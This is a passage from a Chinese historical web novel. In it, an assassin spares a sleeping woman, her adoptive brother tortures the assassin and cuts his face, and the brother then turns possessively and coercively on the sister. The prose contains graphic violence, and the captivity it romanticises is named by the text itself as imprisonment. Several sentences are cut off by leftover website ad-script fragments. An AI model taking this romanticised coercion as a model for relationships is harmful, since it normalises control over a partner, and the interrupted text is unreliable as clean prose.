他垂下眼眸,手中剑无声便出鞘一寸有余,寒冷的光芒闪过,照亮他的眼眸。 他有些迫不及待想要看见裴瑛痛苦的神色,看着他一步一步走入自己精心编织的陷阱,然后作茧自缚,拼着一腔错误的仇恨与错误的仇敌同归于尽了! 他的心开始强烈地跳荡起来,往日积郁的磊块也将被她脖颈流淌的鲜血所冲走。 一切的一切,都将以她的鲜血开启。 温珩杀过很多人,他对旁人的生死很是默然,故在出剑之时心中没有丝毫的波澜,看着他们鲜血喷涌,看着他们人头滚地。 在他眼里,那些血腥残酷的场景,与葡萄酒喷涌,珍珠滚地的模样没什么差别。 “好了,结束了。” 温珩笑了起来,本就艳丽的面容变得更加惑人。 “这次,我不会放过你了。” 他的心跳愈来愈快,一时之间竟有些无法呼吸。 这种莫名的窒息感让他蹙起了眉。 可是就在他准备在她脆弱的颈项上轻轻划上一道之时,心中却传来蓦然的冷寂与空虚。 那年桃花纷飞之时哭声所引起的零星善意又从心中角落浮涌起来。 那未能传达的善意也随之搁在心底,或许,他应该对将死之人作一番真诚的祷告。 于是,他罕见地真心安慰了起来眼前的女子。 “不过你别怕,你哥哥很快就会去阴曹地府陪你了。你不会是一个人的。” 他的声音无比柔和,像是情人的情话。 “你这么爱你的哥哥,能跟她死在一处,一定会开心的。” 屋外寒风萧瑟凄冷,呜呜地吹走了檐上雪,成堆成堆落下了来。 像极了她来的那夜,院中大槐树上的积雪也是一堆一堆地往下落。 “好了。” 他强行按下心中悸动,优雅薄唇抿成一条线,五指次第握紧剑柄。 今箭在弦上,便不得不发。 可是就在长剑要尽数出鞘的时刻,他的腰身忽地一紧。 像是奇异的电流瞬间便流通全身的经脉一般,原本紧紧握着的剑柄的指关节瞬间松泛了。 温珩低下头,就看着她紧紧贴着自己,但眼睛却依旧紧紧闭着,浓密的睫羽剧烈地颤抖着,泪珠也落了下来,瘦削的肩头耸动着。 原来是他的腰又被她箍住了。 周身涌动的杀意瞬间停止,连不安躁动着飘动着的白纱也静止了下来。 温珩静静地看着她,一时之间,那过速的心跳渐渐慢了下来,他仿佛也能呼吸了,窒息的痛苦也不复存在了。 空冷之感亦不复矣。 —— “不……”裴明绘面色煞白,惶恐让她的瞳眸不住颤抖,抱着裴瑛的双臂也在一瞬间丧失了力气。 “子吟,你走罢。” 裴瑛背对着她。 “我吻你的时候,你尚不曾怪我,为何如今,你却要走。” 她紧紧地将头贴在他的背上,想要借此听一听他的心跳,知晓他的话是否真心。 “天下这么大,我又该去哪呢?” —— 温珩看着她不住颤抖的肩头,温珩将剑收了回去,心中积蓄的杀意瞬时荡然无存。 她好像很伤心。 她醒了吗? 还是在梦里她也知道他要杀她。 他的手缓缓从剑柄之上拿了下来,他垂着眼,看着她的泪水一颗接着一颗地落了下来。 她的眼泪流不尽一般,几乎都要将他的衣服打湿。 温热潮湿的泪水渗进他的衣裳,一路洇入肌理。 他痴痴看着她的哭泣的模样,此般模样,不施粉黛,却有独一分的清丽绝色之美,加之如露珠一般的泪水浸染三分哀戚,纵是烟树草木也为之黯然失色。 过往失势之怅恨,温珩瞬间忘得一干二净。 “好了,我不杀你了,你别哭了。” 空出来的手正好擦去她的眼泪。 那温热的泪水正好停留在他的指节之上。 温珩的记忆忽然又回到了那个雪夜,彼时她尚为着那些金银丝绢而哭,今日是为着自己的性命而哭吗? —— 她感受到裴瑛在颤抖,在害怕。 一瞬间,凉意直冲灵台。 她不可置 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 信地抬起眼来。 他在痛苦…… 一瞬之间,裴明绘所有的心防悉数坍塌。 原来,她只是他的妹妹,他也只把她当做妹妹。 不要痛苦,如果,她的爱让他痛苦,那她情愿不要这份爱。 狂风起,满树梨花落,洁白的花瓣打着旋飘了进来,落了满地。 太阳西去,光线东移,照得满地的梨花花瓣发着光。 她定定地看着他,泪水无知觉地滚落下来,砸在落满花瓣的裙裾之上,留下深粉色的痕迹。 “真的吗?”她的声音轻的被风一吹都要听不见,“哥哥真的要我走吗?” 二人沉默地僵持着,彼时日已近西山,碧蓝天幕已为霞绡染作艳红。 “哥哥,子吟明白了。”裴明绘缓缓松开手,泪珠一颗一颗流了下来,几近绝望地说道,“子吟不会再来烦你了,不会了,还望哥哥……保重。” 裴瑛的身子一踉跄,裴明绘缓缓站起身来,目光是支离破碎的绝望,柔滑布料之声像是风刮过一般。 —— “怎么还哭?” 温珩不解地蹙起了眉。 她为什么这么多的泪,仿佛流不尽般。 他的目光不经意间便落在她的包扎着手上,细腻的白绢布将将原本优雅的手裹得有些臃肿。 “是疼吗?”温珩轻声说道,“原来是疼哭的。” 既然这么怕疼,却敢去徒手拦鞭子。 真不知道你是怕疼还是不怕疼,是傻还是聪明。 —— 黄昏残霞余光,透过雕花棱窗,落满地细碎残破的金黄光斑。 可就在她踉跄着与垂着头不说话的裴瑛擦肩而过的时候,修长的手却一把扣住了她的肩头,而后冰凉的柔软的贴了过来,将留下的眼泪一并吞咽了进去。 巨大的错愕几乎摄住她的心神,那双大手一手箍着她的腰,一手扣着她的后脑。 “不要走。” 一场痛苦的亲吻缓缓结束,他的唇缓缓离开,那微弱的声音叫她心碎。 “子吟不愿哥哥痛苦……” 话还未说完,双脚骤然腾空,裴瑛抄起她的膝弯,带着她走进了内间,床帏落下,大片的亮光悉数被挡在外头。 她被轻轻地放在床榻之上,看着裴瑛看着她,目光不复冷静,充斥了五味杂陈的痛苦。 他的手缓缓放在了腰带上,劲瘦的腰身被束带勾出惑人的线条,外衣落下,露出了里头洁白的中衣。 —— 博山炉逸散香气,无声地缭绕在他们身边,撩拨着人的情思。 温珩的手怜惜地擦去她的泪水,心中看不见,摸不着,被权欲压制着的隐秘情愫开始躁动起来。 一时之间,那几次不能的吻涌上脑海,那些精明的计量算计便略逊一筹,而那些不能言的欲望便脱胎而生。 他的目光落在她的唇上,正正好好一颗晶莹的余泪落在她的唇角。 鬼迷心窍,心为欲困。 色授魂与,我将不我。 “哥哥……” 梦呓一般的话语从她口中溢出来。 瞬间,温珩的动作便是一顿,呼吸也瞬间停顿下来,原本已经放松下来的心情瞬间变成冰天雪地。 “……” 他瞬间抬起眼帘来,氤氲蓊郁着的情与欲荡然无存,只有猛烈呼啸的长风冷雪在眸底激荡着。 32. 第 32 章 沉醉在梦里无知的呓语彻底散去余音,温珩的面上温度也随之消失,黑色的眼眸一寸一寸凝上冰冷的霜,化作上挑眼尾的那抹血红色。 他的目光冷静而又凛冽,呼吸却又沉重。 他缓缓直起了身体,坠着流苏的帷幔也随之垂落下来,彻底遮住了他的目光。 彻底不见她的容颜,他的神思倒也清醒了下来。 手再度无声搭上剑鞘,长剑剑柄处雕刻的玄鹰冰冷而又坚硬,让温珩的躁动的心冷静下来。 但只有他自己知道,极度冷静的面容之下却是难以遏制的怒意。 到底是裴瑛的好妹妹,梦里梦外都惦记着他。 可谁又知道,裴瑛这个好妹妹,却觊觎着自己的好哥哥,不知道裴瑛临死之时,知道这个振奋人心的消息,又会如何呢? 想到这里,温珩不由笑了起来。 他对于所有的前因后果都十分明白,可是就是因为明白,便也以为事情悉数在自己的掌控之中。 起初不过是为了报复裴瑛才接近她,一举烧毁了裴氏半数资财,后欲取其妹性命,叫裴瑛痛不欲生追查凶手之时,长安之人便会重翻旧案。 裴瑛在位久矣,树敌无数,只要他报仇心切一步踏错便是万丈深渊。 而就在裴明绘被害身亡之后,所有的证据就会指向当朝的丞相,陆珩舟。 两虎相斗,必有一死。而活下来的人,势必也是元气大伤,倒是便是除掉那个人的时候。 原本一切的谋划都已到位。 众人也对他寄予厚望,可偏偏他没下手。 虽然那人对此甚为不满,说如此两面出击形式大好,温小公子如何总是拖后腿。 温珩本不是多情之人,绝不会因为裴明绘只是一个无辜的人而手下留情。 可是诸多原因却叫他没有下得了手。 他也不在乎这些所谓的错综复杂的原因,他向来恣意妄为,幼时有父亲家族庇护,少时为皇帝宠臣,更为宠幸。 若非裴瑛心狠手辣手段狠毒,他断然不会落得如此下场。 骤然,对裴家人的厌恶占了上风。 温珩的修长的手指缓慢地握紧剑柄,带起丝丝入骨的凉意。 既然她梦里心向裴瑛,就让她在梦里死去,免得再看见裴瑛以后惨死的模样,痛不欲生。 温珩以极度慈悲的心思想着。 若是以往,自己定然不会寻这些稀奇古怪的由头,往往一剑封喉干脆了事。 或许,是她的容颜让自己多了一份奇怪的怜悯之心。 当然,仅此而已。 可就在长剑出剑三寸之时,屋外寒风躁动起来,吹得檐下铁马叮咚作响,冷风似是从窗隙透进了屋内,寒风卷着暖意翻滚挣扎着,自梁上垂下的白纱不安地涌动着,像是平静的湖面之下危险的暗流。 他却全然不顾,全幅身心都放在手中剑上。 屋外寒鸦惊叫,那冷寂得几乎要冰冻人骨头的声音却黑暗之中沉沉地传了过来。 “雪夜客来,当不胜欢喜。客又何必剑拔弩张呢。” 温珩顿时大惊,长剑瞬时出鞘,直指来人。 寒光自剑柄处一路闪过,最后在锋利的剑尖凝作光芒一点。 白衣胜雪,黑发葳蕤,裴瑛绕过镶嵌着金玉的云母石屏风,笑吟吟从容而来,极致冰冷的雪光与昏暗的温暖火色竞相照在他的身上,一半是萦绕着杀意的寒冷,一半则是喜不自胜的欢愉。 骤然在此处撞见裴瑛,显然出乎温珩意料。 温珩来时,便早已探听好裴家各暗卫巡逻交班之时,兼之又有内应,总归也是来去自如并无风险。 或许是几次死里逃生的自信,加之被后人的神通广大,让温珩以为裴瑛是不过如此,是可以被玩弄于鼓掌之中的。 冰冷的空气间瞬间绷起一根看不见的弦,随着时间的挪移而愈来愈紧,随时都有崩断之嫌。 裴瑛唇畔带着一丝笑,眼中带着无尽的凉薄憎恶与欲将眼前人碎尸万段之意,:“温小公子,许久不见。可还安好?” “!” 他心思敏捷,便知此事定要出手,故话不多说,直接出剑。 剑锋斜出,直逼裴瑛面门,出手狠辣,势必要取其性命。 眼见剑风逼至近前,裴瑛却按剑不动,身侧黑影如风过林一般簌簌而来,瞬间刀光剑影罗织成网。只一瞬间的功夫,温珩身上也多了不知多少伤处,鲜血飞溅溅满罗帷。 最后一剑贯穿他的肩胛骨,穿透柔软厚实的红毡,狠狠将其定在地上,就在温珩要痛呼出声的时候,一只冰冷的手却捂住了他的嘴。 看似轻柔,却顿时叫他有了窒息之感。 裴瑛的另一只手抬起放在唇边示意噤声:“小声些,不过小伤,温公子难道还能哭出来吗?” 他的话这样温柔,像是在哄不小心受了伤的孩童一般,但是本该是安慰的话语,却随着唇角笑意而轻快地扬了起来。 可是如此多的攻击,偏偏却又未伤及温珩要害之处,让他不至于轻易死去。 裴瑛眼神挪向屋外,众暗卫瞬间神会,拖着温珩就将他拖去了外间,红毡上留下一道鲜红的血痕。 一路拖来,红血溅白雪,宛若点点红梅开。 裴瑛走在皑皑白雪之上,白衣飘飘潇散出尘,冷光雪色自四方落下,在他的身形勾勒出一笔清绝微光。 “去点只安神香。”裴瑛转头低身吩咐道,暗卫领命,大步却无声进了屋子。 鲜血洇透白雪,雪化血水,后凝为赤冰。 森森白刃交加于颈上,差之毫厘便将尸首分离。 温珩咬着牙,仰头看向裴瑛,冷笑一声后,想要说话,却只吐出一口血来,鲜血葳蕤蔓延,让他本就绝色面容平添三分艳丽。 “几次客来,在下都不能好生招待,今日可算等到了,如此招待,还请客见谅。” 裴瑛从容撩起袍袖单膝跪于他身前,垂首低眸却依旧居高临下地睥睨着满身是血的温珩,看见他如此狼狈却又如此倔强的模样,一时心底欢愉无比,竟也忍不住笑出了声。 “我日思夜想见到客。” 日思夜想,将其凌迟之愿望日渐浓却不得消解。 “却终是寻客无觅处。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 终无觅处,内心滔天的怒火就像火山一样积压着。 一朝爆发,便是雷霆万钧不可消受。 “却不曾想,客却赶来自投罗网,竟叫我百思不得其解。” 裴瑛喜不自胜地再度笑出了声,雪光落进他的眼眸,却晕开深沉的光。 “呵,是啊,我夜夜与汝妹共度春宵,自然得来,未免她奈得闺中寂寞不能消解……” 温珩自然知晓裴瑛痛处何在,便也字字句句戳在他的心头,他艰难地仰着头,借着冰冷的雪光看清了裴瑛嘴角那逐渐消散的笑容。 冷光逆形,内敛之杀意顿现,常人观之,蔚为恐怖。 “是啊。”裴瑛的笑容敛尽,原本轻扬的语气瞬间冷得砭骨,“作兄长的管教不严,竟叫妹妹出了如此荒唐事,是我的罪责。” 裴瑛的手猛然握住他的下颌,优雅美丽的手型却分外有力,几乎要将他的头都翻折过去,将他的喉骨折为两段方才罢休,骨节分明的手指缓缓收紧,几乎要将他的下颌骨都捏碎。 他依旧居高临下睥睨着他。 “只是到底一介男儿,靠着美色蛊惑无辜女子,是否过于卑劣?” 他便说着,手却按上匕首,锋利的匕首轻松滑出刀鞘,刀面映出裴瑛的隽秀优雅的侧颜轮廓。 “杀了我吗?”温珩似乎毫无惧意,仰着头嗤笑着看着裴瑛,露出染着鲜血的白牙。 “随你的意罢,就算你杀了我,也改变不了你妹妹是我的女人,哈哈哈!” “是吗?这又算得了什么。” 裴瑛面上毫无波澜,手上的力道却在一寸一寸地加重。 “你不过一时欢愉,她却永远都是我的妹妹。你一死,也就烟消云散了。” 他开始耳鸣,隐约间似乎听见自己骨头碎裂的咔嚓声,但他依旧以嘲笑的语气艰难地说道:“你杀了我,永远都不记得你妹妹的秘密了。” 裴瑛闻言,眉蹙了起来,但很快又舒展开来:“我妹妹的秘密,你个外人又如何知晓?” “你一点都不了解你的乖妹妹,你想不想知道,你在她心里,是什么人?” 温珩的声音嘶哑,却循循善诱。 “我与她床笫之间,可是说了好些你的事呢。” 裴瑛垂下眼帘,却又蓦然抬起眼来。 “她说你……” 他的声音突然低了下去,裴瑛蹙眉,正欲靠近细听。 只是却未听见温珩接下来的话,却被他猛地啐了带血的一口,而后温珩癫狂似的哈哈大笑:“是个蠢货哈哈哈!” 裴瑛漠然抬起袖子擦去脸颊上污物: “我原意杀你了事,可转念一想,蝼蚁之辈,杀了你,反倒便宜了你。” 他的声音平淡到毫无波澜,却又字字诛心。 “你不过凭着家世与这张脸才能居于帝侧,如今李夫人荣宠,温夫人失势,你的父亲也被贬为庶人,你若在失去了你这张引以为傲的脸,你又当如何呢?” 他拽住温珩的领子,可谓之粗暴地将他从地上拎起来,语气也随之微微上扬,带着一种无与伦比的欢愉与嘲讽。 33. 第 33 章 温珩顿时内心感知到前所未有的恐惧,可是冰冷的刀锋以极其缓慢的速度滑过他脸,而后一寸地一寸深入。 冰冷的刀锋插入温热的血肉,温度的巨大差矣瞬间便叫温珩恐惧到了极点。 极度的恐惧之下温珩竟生生挣脱了开来,裴瑛却也眼疾手快直接猛地划了过去,却不料温珩直接徒手握住,利刃划破表层的肌肤,然后一寸一寸深入血肉,直到碰到骨头,发出刺耳的嘎啦声,刀锋似乎嵌进了骨头里,再往前一步都很困难。 “住手!” 熟悉的令人不悦的声音传来,裴瑛徐徐回转过头去,就见自长廊处疾步而来一人,他匆匆下了石阶,便奔着此处鲜血狼藉之处来。 “且慢!” 来者正是当今丞相,武安侯,王太后同母弟,国舅陆珩舟。 裴瑛不紧不慢地站了起来,而后身子一转,便将躺在地上的温珩挡了一个严实。 “丞相深夜大驾,不知有何要紧事亟待处理。”裴瑛心里虽然很是不耐,却也向着陆珩舟先一拱手。 虽然略有敷衍,但到底形式上走了,也落不着他的话柄。 “听说温珩温重明在贵府之上,故本相才未经通报匆匆而来,玄则不要见怪才是。” 陆珩舟见看不到温珩,便朝着东走三步,却不料裴瑛同样走了三步,依旧挡了个严严实实。 “哦。”裴瑛疑惑地蹙起了眉,而后又微笑着摇了摇头,叹息道,“不知丞相从何处听到的消息,还请丞相先移步正堂,某好与丞相再行商榷。” “哪里哪里,这不就在这儿呢吗?哪里又用如此费事呢。”陆珩舟大步走了过去,想要拂开裴瑛,“玄则你走开就好了。” “你说底下这个吗?”裴瑛侧过身来,顺势蹲下,握住他的下颌,将满脸血污的人脸抬了起来,让陆珩舟看。 陆珩舟赶忙低头去看,就见底下的人已然成了血人,底下冰冷的白雪也成了不断流淌着血水。 “这是温珩?” 陆珩舟脑海里的温珩乃是艳丽桃花带露浓的人物,长伴帝侧众人歆羡,那日春风正好,官至散骑常侍一身锦衣的温小公子打马走在御撵之后,一路繁花叶绿他便是金光灼灼,陆珩舟一眼便看见了温珩。 可眼前的人披头散发满身血污,身上大大小小的伤痕纵横交错不知几多,如此狼狈的人,陆珩舟无论如何都无法与昔日的温小公子联系上。 “丞相可以叫他一声,他若答应,自然就是温小公子了。” 修长如玉的手沾了那人的血污,像是点染了斑驳的红梅一般。 “本相问你一句,你可是温珩温重明?” 那人却并未说话,只有裸露的血肉在汩汩流出鲜血来。 陆珩舟又往前看了看,可是那人凌乱的发丝被黏腻的鲜血所粘连在一起挡在面前,让陆珩舟看不清。 可若他再细看一番,便会发现裴瑛的手正抵在他的咽喉之处,只轻微用力,便会捏断他的喉咙。 “如此血腥污秽之处,丞相一贯处在高雅之堂,想必定然看不惯罢。” 裴瑛眼神示意左右,便有侍卫过来继续压制着陆珩舟。 他往前走过,顺手结果侍卫递过来的手帕,仔细地将手指上的血污揩去。 “本相什么场面没见过,也是刀山火海滚过一圈的人物,区区此等景象,如何会看不惯。” “丞相的话,在下谨受教了。” 裴瑛恭敬地一拱手。 冷风游窜在回廊里,而后到了庭院中,吹得风灯摇晃,带得灯影变幻无常。 “听说……”陆珩舟顿了顿,方才压低了声音,“你找到了那个潜逃的要犯了?” 裴瑛再度疑惑起来,而后又是一笑,“是吗?倒是未曾听消息传过来,想必消息也在来的路上了罢。最近雪重,各方的消息未免会延宕几日,不是吗?” 陆珩舟闻言,长长地出了一口气:“是么,是么。” “毕竟当初清算被挪用的百万金都用了数月,抓着一个人却用了七年,实在太长了些。”裴瑛感慨道,“黄河决口,发十万人而无功,又百万金用于堵塞决口却不翼而飞,似乎真的是老天不叫黄河堵上。” “当时匈奴压迫边疆太甚朝廷无力再顾黄河,也幸得丞相挺身而出,方解陛下朝廷于两难之中。” “现在每每想来,还是感慨丞相深明大义。” 裴瑛的话顿时叫陆珩舟出了一身冷汗,却又强忍着恐惧笑了起来,只是笑的时候嘴角都在不可控制地抽搐着。 “哪里哪里,裴大人实在过誉了。” “是丞相太过自谦了。”裴瑛转过身来,冷风迎面吹着,鬓角落下的发丝迎风飞着,他又微微侧过头去,将目光落在陆珩舟身上,无声地将他所有或激烈或细微的表情变化收入眼中。 而就在此时,一声剧烈的吼叫却打破了冰冷缺凝固着的气氛。 “我是温珩,你们岂敢放肆!” 陆珩舟立马警觉,大踏步走了过来,而温珩则一个滚地借势滚到了陆珩舟身后,同时陆珩舟立即抬手,便有金吾卫踏踏列队而来,火把晃晃犹如长龙。 而暗卫们如风一般涌了上来,列队成弧形站在裴瑛身侧,手中长刀剑戟森光寒。 一时两方成犄角之势无声对抗着,谁都没有先动手,却也没有人先后退。 “这是谁?”陆珩舟一改方才随和的模样,瞬间变得凌厉起来,嘴角的笑意却在狠厉之间微微扬了起来,“这难道不是温珩吗!”裴玄则你岂敢欺骗本相!本相看你近来是愈发嚣张了,明日早朝本相便向陛下回禀你动用私刑滥杀权贵。” 一面是隐这剑光的黑暗,一面是满布火芒的光亮,黑暗与光亮争夺这归属之地,一时之间剑拔弩张焦灼万分! “我不过开个小玩笑,丞相又何必如此剑拔弩张。” 裴瑛看起来没有丝毫地慌张,逆风而来白衣如翼舒展在冷风之中。 “好好的公子都被你打成了这幅模样,你却说是小玩笑!” 陆珩舟以长辈的身份搭着温珩鲜血淋漓的肩膀,挤着眼睛掉下几滴眼泪。 “若今太后的主张你都忘了,怎么可以如此开国功臣之后呢!本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 相看你就是忘了本,别以为当了御史大夫就可以为所欲为。本相告诉你,本相当着丞相一日,你就为非作歹的机会。” “丞相既然想带走温珩带走就是了,何苦寻这么苦腔调的词呢?” 裴瑛勾起一丝浅笑,依旧温润平和。 陆珩舟也一挥手,金吾卫便加紧着将受了重伤几近昏迷的温珩护送了出去,火把也如同火的潮汐一般陆续褪去。 裴瑛并没有动作,只是静静地看着他们,末了,等着队伍全部撤出去的时候,方才冷然微哂,转身离去。 外面如此大的动静,裴明绘的屋中虽点了安神所用之香,却也不免被吵醒。 只是梦里梦外的界限却在安神香的搅扰之下变得扭曲模糊,以至于让她忘了是从梦中醒来还是在梦外睡去。 双臂撑着起身,如瀑的长发从肩头垂落下来,她摇了摇头,伸出手来将帐子拂开一条缝隙来。 那一抹白色的身影由远而近徐徐而来,像是屋中飘扬的轻盈的白纱,又像是蔓延在林中神秘的雾霭。 是谁? 裴明绘有些头昏脑涨,身体先思维一步下榻。 她拽着帐子,赤着脚就走了下来。 她一抬头,就见到裴瑛。 他今日似与以往不同,一身胜雪的白衣,好似步下凡尘的神仙。 估计是梦,只梦里的哥哥才会如此不同。 “醒了。” 裴瑛的声音温柔得像是潺潺春水流过一般。 是梦么? 裴明绘赤着脚就走了过去,裴瑛见状,便也就走了过去。 她仰着头,眼前却也有些模糊。 “怎么赤着脚,小心着凉?” 裴瑛无奈一笑,但看起来她还没睡醒,迷迷糊糊的,怕是连天南地北不知道。 裴瑛弯腰,将她抱了起来。 他的臂弯很结实,轻轻松松就将她抱了起来,就跟梦里的一样。 梦里那些极为暧昧的场景再度映入脑海,一时之间,她真的混淆了梦境与现实的分界线。 梦境是现实的映射,现实是梦境的接续。 裴明绘顺势搂住裴瑛的脖子,极为安心地将头靠在他的肩上,任他带着她,去往他去的任何地方。 他将她放在榻上,替她将被子盖上掖好,却在离开之际被她一把拉住了袖子。 “你要走了吗?” “方才外面有些小贼,为兄如今都收拾完了。”裴瑛顺势坐下,看着裴明绘迷迷瞪瞪如在云雾的样子,便觉分外可爱,“你且先睡罢,没人会再来打搅你的。” 裴明绘却又坐了起来,盖着的锦被堆叠下来堆在身前,她却又倚在裴瑛的肩上,双手握住他冰冷的手:“我不睡,睡了就不能了。” “不能什么了?” 裴瑛不由有些好奇。 “不能再见你了。” 他感受到落在自己脸庞的湿润与柔软,她的呼吸轻而柔,像是夏日吹过河谷的和风,可是落在裴瑛的身上,确实凛冽砭骨的冬日寒风,一寸一寸从上至下冻结他的脊骨与血肉。 34. 第 34 章 “……” 裴瑛的骨节慢慢绷紧,而后因为太过用力关节处一寸挨着一寸开始泛白。 他的目光缓缓偏移,纤长睫羽在眼底投下一片浓黑的阴影。 彼时冷风不知从哪出缝隙游窜进来,故肆意地在温暖的屋内肆意游荡着,带起屋里曳地的白纱也空中游动着,地上错金铜博山炉的火星突然也跟着闪动起来,香雾自重叠山形中逸散出来,而后又迅速化进冷风里。 漏壶水声低漏不停,第三声之后,裴瑛笑了起来。 怪不得这个温珩屡次三番敢来裴府作乱,他原以为是温珩此贼一意孤行一厢情愿罢了,竟也不曾想过她竟敢再同他有着联系。 以往压制着的滔天的怒火在此刻轰然爆发,无休无止在心田蔓延开来。 裴瑛从来不是好脾气的,只是他善于管理自己的情绪,并且长于分配情绪的纾解之处。 他自以为不会在意温珩那番找死的言论,可事实却是。 他非常在意。 在意到骨子里,在意到血肉里,在意到每时每刻都想将其碎尸万段。 可偏偏他需得顾全大局,不能手刃此贼, 他原以为自己能够理解裴明绘找貌美之人聊解烦闷,毕竟家规是死的,人是活的,他虽为裴家家主,却也睁一只眼闭一只眼,草草处理了也就罢了。 毕竟事关妹妹,一切都可通融。 一个空有美貌的男人罢了,陛下也不过喜爱他的容颜,给了他一个散官,让他待在身边。 温珩就像一个金丝雀,被喜爱他的人养在金笼子里。 陛下若此,裴明绘也当是若此。 只要到了时候,将那个自寻死路的温珩处死也就万事大吉了。 妹妹依旧是妹妹,那个心无旁骛的与他相依为命的妹妹。 什么温珩,不过是过往云烟罢了,哪里又值得在意呢。 可是如今他却发现,裴明绘的心思,似乎依旧在温珩身上。 她念着他,甚至与他深夜相会,为了他,甚至违背自己哥哥的意志。 她分明知晓温珩乃是裴家的敌人,却依旧要与他在一起。 难道仅仅就是因为他有着一张尚算可以的脸与一副极其狠毒的心肠吗? 他原以为自己与裴明绘多年兄妹,自己又苦口婆心殷殷相劝,他们相处时间又算不太久,就算有了夫妻之实又能如何。 可是他却万万没有想到,裴明绘似乎真的一颗心放在了温珩身上。 夜色沉凉白纱涌动,裴瑛的思维空了一瞬。 他第一次感受到孤独,这种孤独所带来的痛苦甚至无法纾解,无法压制。 他曾痴心地想过,上天垂怜他们两个孤苦可怜之人,降下恩典来让他们相遇,准许他们成为毫无血缘联系的兄妹,让他们相依为命,也定会让他们永生永世都在一起。 他曾暗暗下定决心,谁都没有办法让他们两个人分开,就算是皇帝和上天都不可以! 可是分明老天与皇帝都没有降下旨意来,他们兄妹二人却先一步地生出缝隙了吗? 不,他当时心里生出无限的惶恐来。 他退让了,同意让第三人插进他与妹妹的生活中来,想借此来拉紧妹妹的手。 可是事情却在一步一步走出他的控制,并逐渐走向崩坏。 思及此,裴瑛所有控制情绪的能力似乎都消失了,不甘,愤怒,怨憎,恐惧等诸多尚可言明的,不可言明的和无法名状的情绪交织在一处,一瞬间让他失去了理智。 原他不杀温珩,是放之长线收之大鱼,将背后之人勾出来。 今时今日看来,这种想法看似顾及长远,实则大错特错。 温珩,本该千刀万剐。 挫骨扬灰。 “所以呢。”裴瑛岿然不动,像是一座冰刻玉琢之雕像,声音冷得都掉冰粒,“你今日便是来等他的吗?” 裴明绘本就沉浸在幻梦之中难以自拔,倏然听闻裴瑛的语气突然冷冽至此,不由一怔,而后心跳陡然快速地跳了起来。 这难道不是梦吗,为什么哥哥在梦里也无端就发了脾气。 “什么……” 裴明绘尚还有些迷糊。 裴瑛呼吸急促,显然没了同她斡旋的心思,一下子便站了起来,顺势便将裴明绘从床榻上拎了起来,她身上盖着的锦衾瞬间滑落在地上。 “裴子吟,你且看清楚,我可不是你的情人。” 裴明绘像是从温暖的美梦之中被直接揪了出来,然后便直面屋外极寒的冬风。 她艰难地跪在榻上,倾身折腰,仰面对上裴瑛那蕴着狂澜风暴的双眸之时,瞬间清醒过来。 瞬间的清醒之后,便是铺天盖地的恐惧。 冷风游窜,吹起她的散乱的长发像是飞舞的青丝枝条,他紧紧攥着她的胳膊,修长的手上甚至迸出青筋。 当裴瑛居高临下地望见她眼底的恐惧,不由便将其与方才的温柔与快乐相比较,其间的差距便是天与地的距离,他先是愣了一下,而后不由再度笑了起来,只这笑意太过勉强。 “你好像很怕我,我是你哥哥,你再怕什么?” “怕我发现你的情人也在这里吗?” “那真是不好意思,我已经发现了。” 他自问自答地说着,说着说着竟然笑了起来,笑着笑着笑容却又一瞬间消失了。 他本不是怨天尤人的人。 可事到如今,他又如何不埋怨老天,埋怨她。 为什么自己无比珍视的东西要被夺去,为什么亲密无间的兄妹要生出罅隙? 为什么他这么在乎她,却比不上突兀而来的温珩? 他不甘心。 他也不可能束手等待。 什么关涉全局的谋划,什么牵一发动全身的大谋算。 不过浮云耳,一挥而散才是道理。 温珩,必须死。 不管什么温珩,还是其他什么东西,都不要妄想插足二人之间。 什么外嫁内嫁高嫁低嫁,难道兄妹之间的感情还抵不过嬴不了吗? 裴瑛的心激荡着,雷电风火在其间回荡着,无数的想法在此刻如雨后春笋般冒了出来,然后在激烈的情感之下疯狂地生长起来,占据了理智的天空,长出据私的枝蔓,想要将她紧紧纠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 缠住,锁住。 不,这是保护,裴瑛用最后的理智说道。 可他自己清楚,名为保护,实为囚禁。 裴明绘无比惊愕地仰着头看着裴瑛,眸子里倒影着他冰冷的容颜以及几经变幻最终化为锋锐的眼神。 这好像不是梦,天啊。 老天爷啊,她干了什么。 她又亲了裴瑛…… 梦境之中那旖旎场景强烈的催生的情|欲是强烈的致幻之物,让人虚实不分,而且一醒来便又见了裴瑛一袭白衣飘然而来,她便以为这又是一场新的梦。 梦的裴瑛似乎爱着她,这给了她在梦中的无限勇气,可以去拥抱他,亲吻他,告诉他她心中的人是谁。 裴明绘顿时觉得天旋地转,一瞬间,她竟有晕厥之感,但是裴瑛的眼神,却让她晕厥濒临之处又强行醒了回来。 原以为同样的错误她并不会犯第二次,可是心底对裴瑛不可言说的情感却叫她无法自控,故而处处都是破绽,处处都是陷阱。 行差踏错,万古不复。 “裴子吟。我素日是不是待你太好了些。”裴瑛紧紧攥住她的手腕,力气之大几乎要将她的腕骨捏碎,“我今日明确告知你,温珩,我必杀之。” “所以,你与他的事,我绝无可能同意。不过,你也不要妄想着同将死之人在一起。” “我知你一贯胆大,不过你有胆子私下与他在一处,就应该知道,我会怎么做。” 裴明绘一觉醒来便听见裴瑛说的这番凌厉的丝毫不留情面的决绝的话,脑子也彻底清醒下来,虽然尚不明白他话里的含义,但却听见温珩二字,却也庆幸下来。 庆幸他只将自己那番行径当做对着温珩说的话。 可是,裴明绘却凛然一震,身体的鲜血好像开始自脚底开始一寸接着一寸凝上了冰。 她的目光不由飘向窗外,看着外头灯影闪闪人影幢幢,便不由冷汗直下,心里冒出一个极为恐怖的想法。 温珩来过了?! 他竟然还活着? 难道哥哥没有追杀他,还是他侥幸逃脱了哥哥的追杀。 可是不管哪一种,温珩只要是活着,无异于是兄妹二人的巨大威胁。 裴瑛的目光落在她的目光所驻之处,望见里面的关切之意,便以为她是在念着温珩,此般时候还在心头担忧着一个外人,裴瑛的怒火便再也无法遏制,所有的情绪管控尽数失效。 